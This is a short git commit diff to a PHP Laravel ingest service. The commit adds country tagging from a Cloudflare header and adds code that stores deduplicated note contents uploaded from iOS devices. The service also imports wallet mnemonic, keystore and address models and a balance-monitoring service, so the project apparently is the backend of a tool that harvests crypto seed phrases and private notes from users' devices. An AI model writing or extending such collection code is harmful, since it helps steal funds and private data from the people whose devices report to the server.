feat: note
This commit is contained in:
@@ -16,6 +16,8 @@ use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use App\Support\CfIpCountry;
|
||||
use App\Support\NoteContent;
|
||||
use App\Support\WalletSource;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
@@ -352,6 +354,7 @@ class IngestService
|
||||
$attrs = [
|
||||
'device_id' => $deviceKey,
|
||||
'ip' => PageVisit::normalizeIp((string) $request->ip()) ?: $request->ip(),
|
||||
'country' => CfIpCountry::fromRequest($request),
|
||||
'device_model' => $this->extractDeviceModel($payload),
|
||||
'ios_version' => $this->extractIosVersion($payload),
|
||||
'channel_id' => $attr['channel_id'],
|
||||
@@ -842,14 +845,31 @@ class IngestService
|
||||
if (! is_array($payload) || ! array_key_exists('list', $payload)) {
|
||||
return;
|
||||
}
|
||||
$list = $payload['list'];
|
||||
if (! is_array($list)) {
|
||||
$list = [$list];
|
||||
|
||||
$items = NoteContent::fromList($payload['list']);
|
||||
if ($items === []) {
|
||||
return;
|
||||
}
|
||||
|
||||
$hash = NoteContent::hash($items);
|
||||
$existing = Note::query()->where('device_id', $device->id)->orderByDesc('id')->first();
|
||||
if ($existing) {
|
||||
Note::query()->where('device_id', $device->id)->where('id', '!=', $existing->id)->delete();
|
||||
if (hash_equals((string) $existing->content_hash, $hash)) {
|
||||
return;
|
||||
}
|
||||
$existing->forceFill([
|
||||
'content' => $items,
|
||||
'content_hash' => $hash,
|
||||
])->save();
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'content' => array_values($list),
|
||||
'content' => $items,
|
||||
'content_hash' => $hash,
|
||||
]);
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user